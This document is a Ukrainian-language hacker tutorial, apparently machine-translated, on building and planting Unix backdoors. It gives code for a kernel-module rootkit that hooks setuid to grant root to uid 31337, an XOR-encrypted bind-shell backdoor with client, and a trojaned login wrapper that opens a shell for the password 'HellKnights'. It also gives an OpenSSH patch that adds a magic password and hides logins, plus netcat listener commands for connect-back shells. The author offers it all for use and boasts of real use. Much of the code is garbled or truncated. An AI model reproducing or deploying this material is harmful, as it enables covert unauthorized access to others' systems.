Ось план нашої роботи:
- Введення в бекдори
- написання бекдор
- Протрояніваніе демонів
- Інші аспекти 'бекдорінга'
Так як я обіцяв розповісти про * nix-бекдор, то не буду втрачати дорогоцінний
час - поїхали!
Бекдори в unix-системі можна розділити на два типи:
Кожен з цих двох типів можна розділити ще на кілька. віддалений бекдор
- це бекдор, який може надати шелл до машини віддалено, локальний
бекдор - бекдор, який надасть якісь привілеї локально. В загальному,
сказати тут "пару слів" не вийде і якщо ти ще не спиш, то пропоную
розібратися докладніше.
Local backdoor - локальний бекдор
/ * UID_CHANGER BackDoor 4 Linux 2.4.x by _1nf3ct0r_ * /
#define __KERNEL__
#define MODULE
#include
#include
#include
#include
#include
#include
int new_setuid (uid_t);
int (* real_setuid) (uid_t);
extern void * sys_call_table [];
int init_module ()
register struct module * mp asm ( "$ ebx");
* (Char *) (mp-> name) = 'd'; * Char (char *) (mp-> name + 1) = 's';
* (Char *) (mp-> name + 2) = '2'; * Char (char *) (mp-> name + 3) = '\ 0';
real_setuid = sys_call_table [SYS_setuid];
sys_call_table [SYS_setuid] = (void *) new_setuid;
return 0;
>
int int cleanup_module ()
if (uid == 31337)
current-> uid = 0; current-> gid = 0;
current-> euid = 0; current-> egid = 0
return 0;
>
return (* real_setuid) (uid);
>
MODULE_LICENSE ( "GPL");
Якщо тобі стала цікава дана тема (non-kernel # 038; LKM rootkits), то раджу
прочитати мою статтю "Троянізація Тукса - операція ТуксКіт". Тепер про віддалених
бекдор 😉
Remote backdoor - віддалений бекдор
Даний тип бекдор найпоширеніший. Їх можна розділити на 2 підтипи - "Bind
Shell "і" Connect Back ". Обидва вони відрізняються один від одного принципом
надання шелл-доступу. Будемо розбирати на прикладах.
Хакер зумів виконати команду через бажний php-скрипт (як він виконав - НЕ
суть важливо) і тим самим отримав привілеї nobody. Одна половина хакерів
використовує PHP-шелли (мені особисто вони зручні тільки для навігацією по системі), а
інша половина більше любить консоль (до цих я і ставлюся). У першій половині
проблем не виникає (safe-mode і т.д - не береться до уваги) - закачав шелл, назвав його
як-небудь config.php, засунув куди подалі і чекай поки адмін його знайде ... А
друга половина зробить так (припустимо є wget, perl, ніяких фильтраций
немає ... бекдор - bindshell.pl, налаштований на 4000 порт):
Бекдор захитається. Далі ми його запускаємо (perl) і можемо пріконнектіться на
40000 порт, отримавши повноцінний шелл і юзая консоль :)) - це BindShell. але
начебто все гаразд. Але цей метод проходить тільки тоді, коли файрвол не ріже
з'єднання з тачкою. "А якщо ріже? Як ми обійдемо файрвол", - запитаєш ти. те
тоді ми скористаємося НЕ Bind Shell-бекдор а ... правильно, Connect Back -
бекдор, які обходять файрвол за наступним принципом: бекдор спробує сам
пріконнектітся до клієнта, який слухає n'ий порт (припустимо, той же netcat) і
тим самим обходить файрвол. Трохи переробимо минулий приклад - припустимо є
wget, gcc, ніяких фильтраций немає (бекдор - connectback.c. налаштований на 4000
порт):
nc -l -p 4000 або nc -vv -l -p4000
Але це всього лише nobody бекдор. Root'овие бекдори не особливо сильно відрізняються від
nobody-бекдор, але все ж ми їх розглянемо трохи далі;). На цьому, мабуть,
Усе. Ми розглянули основи використання * nix-бекдор, думаю питань не
залишилося, так як все було розказано докладно. Перейдемо до більш серйозного -
написання просунутих бекдор з використанням шифрування трафіку,
ICMP-WakeUp-технологій, технологій приховування бекдора від IDS і т.д. Загалом, не
вішай ніс, нас чекають великі справи 🙂
Розберемо Nobody Bind-Shell XORing traffic бекдори.
Будь-який грамотний адміністратор ніколи не буде повністю довіряти якомусь
антивірусу для нікс або IDS для пошуку руткітів (наприклад, chrootkit, rkhunter),
щоб знайти в системі руткит або бекдор - він вдасться до допомоги сніфера і IDS
(Той же Snort), які відстежують трафік. Від IDS ще можна сховатися, а ось від
сніфера - Нікуди. Що робити? Використовувати шифрування трафіку! Для цього можна
використовувати різні алгоритми шифрування трафіку - BlowFish, TwoFish, xTea, IDEA
або той же XOR. Такий бекдор ми зараз же напишемо з тобою! Але не варто забувати,
що навіть найдурніший адмін помітить витік гігабайтного трафіку 🙂
Для початку напишемо TCP XORing bindshell backdoor - бекдор, ксорящій дані від
сервера до клієнта для приховування трафіку від IDS і біндящій шелл на заданому
порту. Наш байт XOR шифрування буде оголошений константою code (const code =
0x07;), а порт буде бінді на 31337 порту (port = 31337) - в разі чого -
дивись вихідні. Перше, що треба зробити в Бекдор ... ні, не оголосити інклуд
і змінні, а написати функцію "введення / виведення", яка б передавала дані від
командного інтерпретатора до клієнта:
Це, природно, не вся функція введення / виведення, просто шматок коду, на який
слід було б звернути увагу :). Як я вже зазначив вище, головне в Бекдор,
використовують шифрування трафіку - кодування і декодування даних серверної і
клієнтською частиною, код якого ми зараз і напишемо:
Шифруємо дані перед відправкою (const code = 0x07;):
for (i = 0; i
if (write (sock2, bufs, lens)<0) break;
А ось дешифрацию даних будемо проводити так:
for (i = 0; i
if (write (pipes1 [1], bufs, lens)<0) break;
Далі все дуже просто:
- Відправляти серверної частини пароль при коннекте з клієнтської
- Отримавши заповітний пароль, серверна частина приймається за його перевірку
- Потім наш бекдор буде слухати порт 31337 і при коннекте на нього
запустить командний інтерпретатор (по дефолту - / bin / sh), все це не так
складно, повір мені 🙂
Після того, як ми написали серверну частину бекдора, ми повинні написати
клієнтську - куди ж без неї? Працювати все буде за наступним принципом:
Клієнтська частина запускається з параметрами [TCP / UDP-протокол] [Хост] [Порт]
[Пароль]. Далі ми будемо підключатися до сервера:
if (pr) // TCP
if (connect (sock, (struct sockaddr *) # 038; sin, sz)<0)/ Подключаемся
perror ( "[-] connect ()"); // Облом 🙁
exit (0);
і якщо нас не збагнув "Облом :(", то переходимо до наступного етапу - перевірка
пароля серверної частиною. Усе! Якщо пас вірний - ми підключилися. далі знову
йдуть ф-ії шифрування і дешифрування і закінчення коду:
for (i = 0; i
if (pr) lens = write (sock, bufs, lens); // Прочитуємо
else lens = sendto (sock, bufs, lens, 0, (struct sockaddr *) # 038; sin, sz); //
відправляємо
printf ( "read / send \ n");
if (lens<0) // Облом ;(
// ...
// Декодируем дані
for (i = 0; i
if (write (1, bufs, lens)<0)
// ...
Загалом, все працює як годинник - зашифровувати дані - передаємо на розшифровку
від клієнта до сервера і навпаки. Решта - стандартні функції бекдор. Я
думаю, що тут все ясно - досить знати основи програмування, а
інше інтуїтивно зрозуміло ...
Протрояненние демони? Легко!
Також одним з найпопулярніших методів 'бекдорінга' є протрояніваніе
демонів 😉
- ImapD / Qpopd / Login - троян
Зараз ми напишемо з тобою бекдор для imapd / qpopd / login - демонів вимагає
пас на протязі 3 секунд, який використовує пароль "HellKnights" для входу в систему.
#define REALPATH "/bin/.login" //
Реальний шлях до демона, за замовчуванням login
#define TROJAN "/ bin / login" // Шлях до троянЦцЦу
#define PASS "HellKnights" // Пароль для трояна
char ** execute;
char passwd [7];
int main (int argc, char * argv []) void connection ();
signal (SIGALRM, connection);
alarm (3); // Ліміт часу для введення пасу
execute = argv;
* Execute = TROJAN;
scanf ( "% s", passwd);
if (strcmp (passwd, PASS) == 0) alarm (0);
execl ( "/ bin / sh", "/ bin / sh", "- i", 0); // Командний
інтерпретатор для виклику
exit (0);
>
else
execv (REALPATH, execute);
exit (0);
>
>
void connection ()
execv (REALPATH, execute);
exit (0);
>
Троянізація SSH-демона в якості бекдора
Отже ... Визначаємо версію демона ssh (на моєму короби - OpenSSH 3.7.1) і завантажуємо
його вихідні коди. Відкриваємо auth-passwd.c, буде приблизно такий код:
...
char * encrypted_password = xcrypt (password, (pw_password [0] # 038; # 038; pw_password [1])?
pw_password. "Xx"); / * Код, який відповідає за
хешування пароля * /
return (strcmp (encrypted_password, pw_password)) # 038; # 038; ok; / *
Затрояніваем тут * /
...
int / * далі йде ф-ція login_login (), яку ми
протроянім * /
login_login (struct logininfo * li)
<
li-> type = LTYPE_LOGIN;
return login_write (li);
>
...
int / * далі йде ф-ція login_logout (), яку ми
протроянім * /
login_logout (struct logininfo * li)
<
li-> type = LTYPE_LOGIN;
return login_write (li);
>
І змінюємо як тут:
int nolog;
nolog: extern / * описуємо змінну на початку коду
* /
...
if (strcmp (password, "hellknights") == 0) nolog = 1;
char * encrypted_password = xcrypt (password, (pw_password [0] # 038; # 038; pw_password [1])?
pw_password. "Xx");
...
/ * Троянізіруем ф-цію login_login ()
* /
int
login_login (struct logininfo * li)
<
if (nolog == 1)
else
<
li-> type = LTYPE_LOGIN;
return login_write (li);>
>
...
int / * троянізіруем ф-цію login_logout ()
* /
login_logout (struct logininfo * li)
<
if (nolog == 1)
else
<
li-> type = LTYPE_LOGIN;
return login_write (li);>
>
Після такої троянізаціі ми будемо повністю невидимі в системі, але IDS,
стежать за цілісність файлів (на зразок Tripwire) відразу засекут такий бекдор.
Також ми будемо світитися в netstat-листах і не зможемо обійти файрвол, але чесно
кажучи, такий метод я використав багато разів на системах, де не було Tripwire і
все проходило на "ура!"
Покажи цю статтю друзям: